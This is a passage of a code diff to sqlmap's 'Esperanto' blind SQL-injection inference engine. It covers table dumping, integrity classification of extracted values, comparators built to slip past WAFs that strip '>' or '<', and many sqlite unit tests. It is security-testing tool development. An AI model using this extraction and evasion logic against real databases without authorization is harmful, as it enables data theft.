colscope = self._scopeDb() if effdb == "" else effdb schema = {} - for table in (self.getTables().get(self._db()) or []): - schema[table] = dict((n, None) for n in (esp.columns(table, schema=db) or [])) - kb.data.cachedColumns = {self._db(): schema} + for table in (tables or []): + schema[table] = dict((n, None) for n in (esp.columns(table, schema=colscope) or [])) + kb.data.cachedColumns = {effdb: schema} + self._flushNotes() return kb.data.cachedColumns def dumpTable(self, foundData=None): @@ -205,7 +242,26 @@ def dumpTable(self, foundData=None): if db: infoMsg += " in database '%s'" % db logger.info(infoMsg) - result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=(conf.limitStop or 10)) + # sqlmap row-SELECTORS change WHICH rows come back, so REFUSE (don't silently return + # different data): --where filters, --start offsets. --stop is honored as a row cap. + if getattr(conf, "dumpWhere", None): + logger.error("Esperanto cannot honor --where; refusing rather than returning unfiltered rows") + return + if getattr(conf, "limitStart", None): + logger.error("Esperanto cannot honor --start; refusing rather than returning the wrong row range") + return + # the SAME qualified reference for count and dump, so a non-default schema can't make + # the count hit a different (unqualified) table than the dump (#8). + qtable = self._engine().qualify(conf.tbl, db) + if conf.limitStop: + limit = conf.limitStop + else: + try: + limit = self._engine().extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) or 10 + except (OracleUndecided, OverflowError): + limit = 1 << 30 # unknown count -> effectively "all" (keyset stops at end) + logger.info("no --stop given; dumping all %s rows" % (limit if limit < (1 << 30) else "(count unknown)")) + result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=limit) if not result or not result["columns"]: logger.error("Esperanto could not dump table '%s'" % conf.tbl) return @@ -217,7 +273,11 @@ def dumpTable(self, foundData=None): table_data["__infos__"] = {"count": len(result["rows"]), "table": conf.tbl, "db": self._db()} if not result["complete"]: logger.warning("Esperanto dump of '%s' may be incomplete" % conf.tbl) + if not result.get("exact", True): # coverage may be complete yet content inexact + logger.warning("Esperanto dump of '%s': values recovered via a collation-dependent " + "comparison - case/accents may not be byte-exact" % conf.tbl) kb.data.dumpedTable = table_data + self._flushNotes() conf.dumper.dbTableValues(kb.data.dumpedTable) return _EsperantoHandler() diff --git a/extra/esperanto/oracle.py b/extra/esperanto/oracle.py index e31da724d0a..946a3191fd7 100644 --- a/extra/esperanto/oracle.py +++ b/extra/esperanto/oracle.py @@ -29,12 +29,25 @@ def _probePhase(self): self._probing = prev def _emit(self, value): - if self._progress and value not in (None, ""): + # per-VALUE feedback is for user-requested data reads only, NOT capability/discovery probes + # (charset, lazy hexfn, cast canary - all wrapped in _probePhase): surfacing an internal + # probe value as "retrieved: " reads as a stray, out-of-context line to the user. + if self._progress and value not in (None, "") and not self._probing: try: self._progress(value) except Exception: pass + def _emitChar(self, partial, total): + # live per-character feedback DURING a long extraction, so the user sees movement + # instead of a frozen prompt (a whole framed row is one long silent read otherwise) - + # suppressed during probe phases (see _emit) so a discovery probe doesn't animate + if self._charProgress and not self._probing: + try: + self._charProgress(partial, total) + except Exception: + pass + def _probe(self, condition): # ONE tri-state evaluation: True / False / None(persistent error). a raised # oracle is retried (transient) before being reported as an error - a @@ -109,11 +122,15 @@ def _sanity(self): return self._ask("1=1") and not self._ask("1=2") and \ self._ask("'a'='a'") and not self._ask("'a'='b'") - def _exists(self, source, column="1"): + def _exists(self, source, column="1", alias=None): # does `source` (a table/catalog) - and optionally `column` in it - resolve? # WITHOUT COUNT (which a WAF may filter): a scalar subquery over it is NULL when # it resolves (WHERE 1=0 -> 0 rows) and ERRORS -> False when it doesn't. Works # for empty tables too. `column` is passed BARE so a nonexistent one errors, # rather than being taken as a string literal (SQLite quirk) and passing every - # fake name. + # fake name. When `alias` is set the column is ALIAS-QUALIFIED (`e.col`) so a bare + # candidate can't silently resolve to a KEYWORD/FUNCTION (USER, CURRENT_USER, ...) + # or an unrelated in-scope name - an alias-qualified unknown is always an error. + if alias: + return self._ask("(SELECT %s.%s FROM %s %s WHERE 1=0) IS NULL" % (alias, column, source, alias)) return self._ask("(SELECT %s FROM %s WHERE 1=0) IS NULL" % (column, source)) diff --git a/extra/esperanto/records.py b/extra/esperanto/records.py index 67733e70f4f..fed89e548a4 100644 --- a/extra/esperanto/records.py +++ b/extra/esperanto/records.py @@ -13,6 +13,13 @@ class OracleUndecided(RuntimeError): oracle itself; exceptions are reserved for 'could not observe'.)""" +class NumericOutOfRange(OverflowError): + """A bounded numeric read proved the value lies OUTSIDE [lo, hi] (above or below). + Raised so a bounded search never invents an in-range boundary value (saturating to + `hi`, or - for BETWEEN - converging to a wrong small value). Callers decide: length + measurement converts it to (ceiling, truncated=True); integer extraction re-raises.""" + + class Cap(object): """A discovered primitive: (name, template) PLUS measured semantic properties. Indexable like the old (name, template) tuple so existing call sites keep working @@ -34,6 +41,24 @@ def __repr__(self): return "%s(%s)" % (self.name, extra.strip() or self.template) +class Integrity(object): + """How much the engine PROVED about a recovered value - separating 'the walk finished' + from 'the bytes are exactly the source'. `complete` alone conflated the two; a value can + be WHOLE (every position visited) yet not EXACT (case/accent ambiguous under a lossy + collation). Anything used as executable SQL metadata or a paging boundary requires EXACT.""" + EXACT = "exact" # proven byte-identical to the source value (or a proven NULL) + WHOLE_BUT_AMBIGUOUS = "ambiguous" # every position visited, but case/accent is uncertain + TRUNCATED = "truncated" # a bounded prefix; the source continues + UNRESOLVED = "unresolved" # a character could not be recovered (U+FFFD present) + FAILED = "failed" # could not observe / verify (e.g. whole-value check failed) + + +# warnings that leave a value WHOLE but not EXACT (case/accent uncertain) - distinct from the +# "recovered via hex" soft note (that value IS exact) and from hard integrity warnings. +_AMBIGUOUS_WARNINGS = ("case", "collation") +_U_REPL = u"\uFFFD" + + class ExtractResult(object): """Structured extraction outcome - keeps NULL, empty, truncated and failed distinct (str-like so `str(r)`/truthiness still read naturally).""" @@ -47,6 +72,29 @@ def __init__(self, value, is_null=False, complete=True, truncated=False, queries self.queries = queries self.warnings = warnings or [] + @property + def integrity(self): + # classify what was PROVED (see Integrity). Order matters: a HARD defect (truncated / + # unresolved / incomplete) is classified BEFORE null-exactness, so an inconsistent + # (value=None, is_null=True, complete=False) can never read as EXACT. + if self.truncated: + return Integrity.TRUNCATED + if self.value is not None and _U_REPL in self.value: + return Integrity.UNRESOLVED + if not self.complete: # a hard warning / failed verify -> not exact + return Integrity.FAILED + if self.value is None: + return Integrity.EXACT if self.is_null else Integrity.FAILED + if any(a in w for w in self.warnings for a in _AMBIGUOUS_WARNINGS): + return Integrity.WHOLE_BUT_AMBIGUOUS + return Integrity.EXACT + + @property + def exact(self): + # True ONLY when the recovered bytes are proven identical to the source. Required for + # any value that becomes executable SQL (identifier, qualifier, exact literal). + return self.integrity == Integrity.EXACT + def __str__(self): return "" if self.value is None else self.value @@ -56,8 +104,8 @@ def __bool__(self): __nonzero__ = __bool__ # py2 def __repr__(self): - return ("ExtractResult(value=%r null=%s complete=%s truncated=%s q=%d%s)" - % (self.value, self.is_null, self.complete, self.truncated, self.queries, + return ("ExtractResult(value=%r null=%s integrity=%s truncated=%s q=%d%s)" + % (self.value, self.is_null, self.integrity, self.truncated, self.queries, " warnings=%r" % self.warnings if self.warnings else "")) @@ -88,7 +136,7 @@ class Dialect(object): """Discovered target profile - the synthesized 'queries.xml row'.""" __slots__ = ("concat", "substring", "length", "bytelen", "textcast", - "coalesce", "charcode", "charfrom", "hexfn", "binwrap", + "coalesce", "charcode", "charfrom", "hexfn", "binwrap", "charset", "bulkAgg", "dual", "identQuote", "prefix", "compare", "ordered", "identity", "catalog", "catalogEnum", "family", "product", "version", "evidence", "notes") @@ -106,6 +154,7 @@ def __init__(self): self.charfrom = None self.hexfn = None # (name, template) for hex/byte extraction self.binwrap = None # (name, template) byte-ordered comparison wrapper + self.charset = None # Python codec for the DB's DECLARED charset (authoritative hex decode) self.bulkAgg = None # (name, template) row-aggregation for bulk enum self.dual = None # (name, from-suffix) tableless-SELECT skeleton self.compare = None # 'code' | 'collation' | 'hex' | 'ordinal' | 'equality' | 'equality-ci' @@ -138,14 +187,24 @@ class InferenceStrategy(object): methods. No oracle here, no retrieval loop - just SQL construction from the discovered primitives. Frozen after construction so worker threads can share it. - The reference host loop `hostExtract()` below proves this interface is - *sufficient*: it extracts data using ONLY a strategy + an oracle, with no - dependency on Esperanto's own retrieval code. + The reference host loop `hostExtract()` below drives extraction using ONLY a + strategy + an oracle, with no dependency on Esperanto's own retrieval code. + + SCOPE (honest): this is a PARTIAL hand-off, not yet a full sufficiency proof. + `hostExtract()` drives the code/collation/ordinal/equality char modes under an + ordered comparator (gt / BETWEEN / operator-free), with length-fn OR substring- + derived length, tri-state and integrity-carrying. It does NOT yet drive pattern-only + (LIKE floor) or membership-only extraction, and the frozen field set does not yet + carry every discovered semantic (hex-encoding confidence, IN support, wildcard + semantics, substring/length units, cast bounds). Those modes/semantics must be added + - or the claim narrowed - before this can be called a complete interface; the + long-term direction is predicate renderers driven by sqlmap's own inference engine. """ _FIELDS = ("product", "family", "compare_mode", "catalog", "dual", "notes", "substring", "index_base", "length", "charcode", "charcode_sem", - "hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash") + "hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash", + "comparator", "cmp_template", "exact_witness") def __init__(self, **kw): for f in self._FIELDS: @@ -166,6 +225,12 @@ def renderLength(self, expr): def renderIsNull(self, expr): return "(%s) IS NULL" % expr + def renderCharExists(self, expr, pos): + # a character exists at 1-based pos: its 1-char substring is non-empty. Uses '=' + # only (no '>'/'<'), and reads False for a past-end substring whether the engine + # returns '' or NULL there - so length can be derived when there is no length fn. + return "NOT ((%s)='')" % self.substr(expr, pos) + def renderHex(self, expr): return self.hexfn.format(expr=expr) if self.hexfn else None @@ -173,6 +238,16 @@ def renderCode(self, expr, pos): # scalar code point of the char at pos (None unless a code fn was found) return self.charcode.format(expr=self.substr(expr, pos)) if self.charcode else None + def renderGt(self, expr, n, high=None): + # "expr > n" via the DISCOVERED comparator, so a host driving this strategy + # survives a WAF that strips '>'/'<' exactly as esperanto's own loop does. + # BETWEEN needs the current upper bound; operator-free rungs (sign/abs/...) don't. + if self.comparator == "between" and high is not None: + return "%s BETWEEN %d AND %d" % (expr, n + 1, high) + if self.cmp_template: + return self.cmp_template.format(expr=expr, n=n) + return "%s>%d" % (expr, n) + def renderCharCmp(self, expr, pos, ch, op=">"): # boolean: char at pos literal ch, byte-ordered when a binary wrapper # is available (else the target's own collation) @@ -211,12 +286,26 @@ def quoteIdent(self, name): def asQueriesRow(self): """The sqlmap queries.xml-shaped mapping - the concrete integration hook. These four templates are what sqlmap's inference/error/union machinery reads - from queries[Backend.getIdentifiedDbms()].""" + from queries[Backend.getIdentifiedDbms()]. The `inference` template renders the + char-code comparison through the DISCOVERED comparator, so a strategy that survives + a '>'-stripping WAF natively is NOT turned back into a blocked '>' here. Membership + mode has no ordered `>%d` form, so `inference` is None (that mode needs the predicate + interface, not this 4-field row).""" + inference = None + if self.charcode: + code = self.charcode.format(expr=self.substr("%s", "%d")) + if self.comparator == "membership": + inference = None + elif self.cmp_template: # operator-free rung (SIGN/ABS/...) + inference = self.cmp_template.replace("{expr}", code).replace("{n}", "%d") + elif self.comparator == "between": + inference = "%s BETWEEN (%%d)+1 AND 9223372036854775807" % code + else: # gt + inference = "%s>%%d" % code return { "length": self.length, "substring": self.substring, - "inference": ("%s>%%d" % self.charcode.format(expr=self.substr("%s", "%d"))) - if self.charcode else None, + "inference": inference, "case": "SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)" + self.dual, "hex": self.hexfn, } diff --git a/lib/core/settings.py b/lib/core/settings.py index e2753a9ebf8..9f69250ed6c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.172" +VERSION = "1.10.7.173" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_esperanto.py b/tests/test_esperanto.py index 965ff6269c2..57f6b2b12ed 100644 --- a/tests/test_esperanto.py +++ b/tests/test_esperanto.py @@ -25,6 +25,7 @@ stdlib unittest only; Python 2.7 and 3.x. """ +import binascii import os import re import sqlite3 @@ -36,6 +37,7 @@ from extra.esperanto import Cap from extra.esperanto import Esperanto from extra.esperanto import hostExtract +from extra.esperanto import Integrity EXPR = "(SELECT v FROM t)" @@ -191,6 +193,430 @@ def test_integer(self): esp.discover() self.assertEqual(esp.extractInteger("(%d)" % n), n, "extractInteger(%d)" % n) + def test_between_no_saturation(self): + # #1: BETWEEN caps range probes at the ceiling, so an out-of-range value must be + # flagged (truncated length / OverflowError), NEVER converge to a wrong SMALL value + # (the old bug read a len-16 value as length 1 and an int 100/max-10 as 0). + esp = Esperanto(_oracle(u"0123456789ABCDEF"), maxlen=8) # true length 16 > ceiling 8 + esp.discover() + esp._comparator = "between" + n, trunc = esp._measureLength(EXPR, ceiling=8) + self.assertTrue(trunc and n == 8, "between over-length saturated wrong: (%r,%r)" % (n, trunc)) + esp2 = Esperanto(_oracle()) + esp2.discover() + esp2._comparator = "between" + self.assertEqual(esp2.extractInteger("(100)", maximum=1000), 100) + self.assertRaises(OverflowError, esp2.extractInteger, "(100)", 10) + + def test_framing_requires_terminal_marker(self): + # a length-framed token MUST carry its terminal ';' - a truncated final token (no ';') + # must be rejected, not accepted as valid + esp = Esperanto(lambda c: False) + esp._rowLenFramed = True + self.assertEqual(esp._splitRow("V3:414243", 1), (None, False)) # no terminator -> invalid + self.assertEqual(esp._splitRow("V3:414243;", 1), (["ABC"], True)) # terminated -> valid + self.assertEqual(esp._splitRow("V4:414243;", 1), (None, False)) # declared 4 != decoded 3 + + def test_host_native_integrity_parity(self): + # hostExtract must mirror the native EXACT/AMBIGUOUS verdict: in a mode with no byte-exact + # witness (ordinal), both must be WHOLE_BUT_AMBIGUOUS, not native-ambiguous/host-exact. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('Admin-42')") + con.commit() + blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|COLLATE|BLOB|BINARY") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + if esp._byteFaithful(): + self.skipTest("dialect still byte-faithful") + native = esp.extractResult("(SELECT v FROM t)") + host = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)") + self.assertEqual(host.value, native.value) + self.assertFalse(host.exact, "host claimed exact without a witness: %r" % host) + self.assertEqual(host.integrity, native.integrity) + + def test_framing_length_witness_catches_capped_hex(self): + # a HEX fn that silently caps its output (correct up to a point, then truncates) would + # shorten a framed cell. The independent witness in the row token (V:;) + # must reject the shortened token -> fall back to cell-by-cell (which reads the true + # length via substring), so a 400-char value is recovered whole, not silently as 300. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT)") + big = "A" * 400 + con.execute("INSERT INTO t VALUES (1, ?)", (big,)) + con.commit() + con.create_function("CHEX", 1, lambda s: binascii.hexlify((s or "").encode("utf-8")[:300]).decode().upper()) + + def ask(cond): + c = re.sub(r"UPPER\(HEX\(([^()]*)\)\)", r"CHEX(\1)", cond) # HEX -> a 300-byte-capped hex + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=8192) + esp.discover() + d = esp.dump("t") + val = d["rows"][0][1] if d and d["rows"] else None + self.assertTrue((val == big and d["complete"]) or (d and not d["complete"]), + "capped hex slipped through: %r len=%s" % ((val or "")[:8], len(val) if val else None)) + + def test_integer_final_equality(self): + # comparator proven on literals, but the backend rewrites '>' to '>=' for scalar/fn + # operands -> bisection converges off-by-one. The final `expr = recovered` check must + # reject it (fail closed) rather than return a silently-wrong integer. + con = sqlite3.connect(":memory:") + + def ask(cond): + c = cond + if re.search(r"(SELECT|LENGTH|UNICODE|SUBSTR|\+)", c, re.I): + c = c.replace(">", ">=") + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertRaises(Exception, esp.extractInteger, "(SELECT 5)", 10) # OracleUndecided (fail closed) + + def test_charset_codec_quirks(self): + from extra.esperanto.atlas import _charsetCodec + self.assertEqual(_charsetCodec("latin1"), "cp1252") # MySQL 'latin1' is Windows-1252 + self.assertEqual(_charsetCodec("utf8mb4"), "utf-8") + self.assertEqual(_charsetCodec("utf8mb4_general_ci"), "utf-8") # collation suffix peeled + self.assertEqual(_charsetCodec("WE8MSWIN1252"), "cp1252") # Oracle + self.assertEqual(_charsetCodec("1252"), "cp1252") # SQL Server code page + self.assertEqual(_charsetCodec("AL32UTF8"), "utf-8") + self.assertIsNone(_charsetCodec("some_unknown_set")) + + def test_host_length_code_final_equality(self): + # Round 8 #1: hostExtract must apply the native reader's final-equality to the recovered + # LENGTH and each per-char CODE - a backend that rewrites '>' to '>=' for computed operands + # (LENGTH(..)>n, UNICODE(..)>n) converges off-by-one; the '=' confirmation must fail closed + # rather than hand back silently-wrong code-point text as exact. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('Admin-42')") + con.commit() + + def ask(cond): + c = cond + if re.search(r"(LENGTH|UNICODE|SUBSTR)\(", c, re.I): # '>' rewritten for computed operands + c = c.replace(">", ">=") + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + if esp.dialect.compare != "code": + self.skipTest("dialect not in code mode") + host = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)") + # the invariant: anything claimed EXACT must be CORRECT. An off-by-one read is caught by + # the final equality and must surface as non-exact/failed, never as a wrong exact value. + self.assertTrue(host.value == "Admin-42" or not host.exact, + "host handed back a wrong value as exact: %r" % host) + + def test_hex_unknown_codec_non_ascii_not_exact(self): + # Round 8 #2: scalar hex recovery under an UNKNOWN codec must not certify non-ASCII text + # (e.g. utf-8 bytes with an embedded NUL heuristically read as UTF-16). Bytes are faithful; + # only a PROVEN codec makes the decoded text exact. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES (?)", (u"é",)) # utf-8 C3 A9 -> non-ASCII bytes + con.execute("CREATE TABLE a (v TEXT)") + con.execute("INSERT INTO a VALUES ('plain')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + if not esp._ensureHexfn(): + self.skipTest("no hex fn") + esp.dialect.charset = None # force UNKNOWN codec + hx = esp.dialect.hexfn + esp.dialect.hexfn = Cap(hx.name, hx[1], encoding=None) + self.assertIsNone(esp._extractViaHex("(SELECT v FROM t)"), # non-ASCII + unknown codec -> refuse + "unknown-codec non-ASCII hex certified as exact") + ascii_r = esp._extractViaHex("(SELECT v FROM a)") # ASCII is codec-invariant -> still OK + self.assertTrue(ascii_r is None or ascii_r.value == "plain") + + def test_bytelen_witness_fails_closed(self): + # Round 8 #5: once a byte-length witness is selected, an UNDECIDED reading must reject the + # bytes (fail closed), never treat "couldn't verify" as "matched". + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('abc')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + if not esp._ensureHexfn(): + self.skipTest("no hex fn") + esp.dialect.bytelen = Cap("blen", "OCTET_NOSUCH({expr})") # a byte-length fn that never resolves + self.assertIsNone(esp.extractBytes("(SELECT v FROM t)"), + "undecided byte-length witness slipped through") + + def test_unknown_codec_nul_not_shortened(self): + # Round 8 (final) blocker #1: unknown codec + embedded NUL is genuinely ambiguous - bytes + # 41 00 are valid UTF-8 ("A"+NUL) AND valid UTF-16LE ("A"). _decodeHexToken must refuse + # rather than collapse to a shortened ASCII "A" that then reads as exact. The framed dump + # calls _decodeHexToken directly, so the guard has to live there (not just _extractViaHex). + esp = Esperanto(lambda c: False) + self.assertIsNone(esp._decodeHexToken("4100", None)) # ambiguous -> refuse + self.assertEqual(esp._decodeHexToken("4100", "utf-8"), u"A\x00") # proven codec keeps NUL + self.assertEqual(esp._decodeHexToken("41", None), u"A") # pure ASCII still fine + + def test_lossy_cast_marked_inexact(self): + # Round 8 (final) blocker #2: a text cast that FOLDS non-ASCII to "?" (café -> caf?) yields + # an ASCII-only result, so gating the cast-safety canary on _hasNonAscii(rows) meant it + # never ran on the very failure it defends against. The canary must run whenever a textcast + # was applied, and an unproven cast must not certify source identity. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT)") + con.execute(u"INSERT INTO t VALUES (1, 'café')") + con.commit() + con.create_function("LOSSY", 1, lambda s: "".join(c if ord(c) < 128 else "?" for c in (s or ""))) + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + esp.dialect.charset = None # unknown -> exercise the canary path + esp.dialect.textcast = Cap("lossy", "LOSSY({expr})") # a narrowing/folding cast + esp._castPreserves = None + self.assertFalse(esp._castPreservesAccents(), "folding cast wrongly certified as preserving") + d = esp.dump("t") + self.assertTrue(d and d["rows"], "dump returned nothing") + self.assertFalse(d["exact"], "folded (café->caf?) dump reported source-exact: %r" % d["rows"]) + + def test_repl_chars_escalate_to_hex(self): + # a code fn lossy for a column type (Oracle NVARCHAR2 read in code mode marks non-ASCII + # chars outside its alphabet -> _REPL). Rather than return the marked-incomplete value, + # the engine must escalate to the cast+hex path (which the framed dump proves works) and + # recover the value exactly. Without hex, it stays honestly incomplete (no false-complete). + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute(u"INSERT INTO t VALUES ('café-€')") + con.commit() + con.create_function("UNICODE", 1, lambda s: (ord(s[0]) if s and ord(s[0]) < 128 else None)) + + def make(block_hex): + pat = r"\bASCII\(|\bORD\(" + (r"|RAWTOHEX|\bHEX\(|ENCODE\(" if block_hex else "") + blk = re.compile(pat, re.I) + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + return ask + with_hex = Esperanto(make(False)); with_hex.discover() + r = with_hex.extractResult("(SELECT v FROM t)") + self.assertEqual(r.value, u"café-€", "hex escalation failed to recover _REPL value: %r" % r.value) + no_hex = Esperanto(make(True)); no_hex.discover() + r2 = no_hex.extractResult("(SELECT v FROM t)") + self.assertFalse(r2.complete, "no-hex _REPL value must stay incomplete, got complete: %r" % r2.value) + + def test_keyset_cycle_detection(self): + # Round 8 (keyset): paging and read-back can resolve under different collations, so the + # walk can revisit an earlier name (f,e,f,e...). Full cycle detection (not just the + # immediate predecessor) must stop with a partial, de-duplicated list, never loop. + esp = Esperanto(lambda c: True) # _keysetWalk only, no discovery + seq = iter(["f", "e", "f", "e", "f"]) + + class _R(object): + def __init__(self, v): + self.value, self.complete, self.exact, self.is_null = v, True, True, False + esp.extractResult = lambda *a, **k: _R(next(seq)) + esp._ask = lambda c: True + esp._beyondSql = lambda *a, **k: "1=1" + names = esp._keysetWalk("name", "cat", "", 10) + self.assertEqual(names, ["f", "e"], "cycle not detected/deduped: %r" % names) + + def test_terminal_sanitized(self): + from extra.esperanto.__main__ import _safeterm + self.assertEqual(_safeterm(u"ok"), u"ok") + self.assertEqual(_safeterm(u"a\x1b[2Jb"), u"a\\x1b[2Jb") # ANSI clear-screen neutralized + self.assertEqual(_safeterm(u"x\ny"), u"x\\x0ay") # embedded newline neutralized + + def test_comparator_rejects_gte_rewrite(self): + # a '>' -> '>=' rewrite passes 2>1 / !2>3 but FAILS the equality boundary (2>2 must be + # False). the full truth table must reject 'gt' (and fall to BETWEEN) so counts/lengths + # aren't read off-by-one. reproduced: extractInteger('5',max=10) used to return 6. + con = sqlite3.connect(":memory:") + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond.replace(">", ">=")).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertNotEqual(esp._comparator, "gt", "'>'->'>=' rewrite wrongly accepted as gt") + self.assertEqual(esp.extractInteger("(5)", maximum=10), 5) + + def test_exact_requires_byte_witness(self): + # without a proven hex/binary witness (or code-codepoint), a value is WHOLE_BUT_AMBIGUOUS, + # never EXACT - plain '=' is collation-dependent and can't certify byte-exactness. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('Zz')") + con.commit() + blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|GLOB|COLLATE|BLOB|BINARY") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + r = esp.extractResult("(SELECT v FROM t)") + if esp._byteFaithful(): + self.skipTest("dialect still has a byte-faithful primitive") + self.assertEqual(r.value, "Zz") + self.assertFalse(r.exact, "value marked exact without a byte-faithful witness: %r" % r) + + def test_extractresult_no_contradiction(self): + # a hard defect (incomplete/truncated) is classified before null-exactness + from extra.esperanto import ExtractResult, Integrity + self.assertEqual(ExtractResult(None, is_null=True, complete=False).integrity, Integrity.FAILED) + self.assertEqual(ExtractResult(None, is_null=True, complete=True).integrity, Integrity.EXACT) + self.assertFalse(ExtractResult(None, is_null=True, complete=False).exact) + + def test_host_maxlen_zero(self): + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('abcdef')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + r = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)", maxlen=0) + self.assertEqual(r.value, "") + self.assertTrue(r.truncated and not r.complete) + + def test_between_overflow_magnitude(self): + # a positive value beyond BETWEEN's global ceiling fails closed WITHOUT claiming "below + # minimum" (the direction is genuinely unknown to a bounded range predicate) + esp = Esperanto(_oracle()) + esp.discover() + esp._comparator = "between" + try: + esp.extractInteger("(%d)" % ((1 << 62) + 5)) + self.fail("expected OverflowError") + except OverflowError as ex: + self.assertNotIn("below minimum", str(ex)) + + def test_integrity_semantics(self): + # `complete` (walk finished) must be distinct from `exact` (bytes proven identical). + # a case-insensitive collation recovers a WHOLE value that is NOT exact. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('A')") + con.commit() + blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|GLOB|COLLATE|BLOB") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s COLLATE NOCASE) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + self.assertEqual(esp.dialect.compare, "equality-ci") + r = esp.extractResult(EXPR.replace("v FROM t", "v FROM t")) + self.assertTrue(r.complete, "case-ci value should be WHOLE: %r" % r) + self.assertFalse(r.exact, "case-ci value must NOT be exact: %r" % r) + self.assertEqual(r.integrity, Integrity.WHOLE_BUT_AMBIGUOUS) + + def test_hostextract_structured_and_tristate(self): + # hostExtract returns an ExtractResult: a bounded read is TRUNCATED (not a bare string), + # and an undecided (None) host observation degrades to a FAILED result, never a fake bit. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('abcdef')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + strat = esp.strategy() + r = hostExtract(ask, strat, "(SELECT v FROM t)", maxlen=3) + self.assertEqual(r.value, "abc") + self.assertTrue(r.truncated and not r.exact and r.integrity == Integrity.TRUNCATED) + undecided = hostExtract(lambda c: None, strat, "(SELECT v FROM t)") + self.assertTrue(undecided.value is None and not undecided.complete) + + def test_between_overflow_direction(self): + # a positive value above the cap in BETWEEN mode must report ABOVE maximum (not below) + esp = Esperanto(_oracle()) + esp.discover() + esp._comparator = 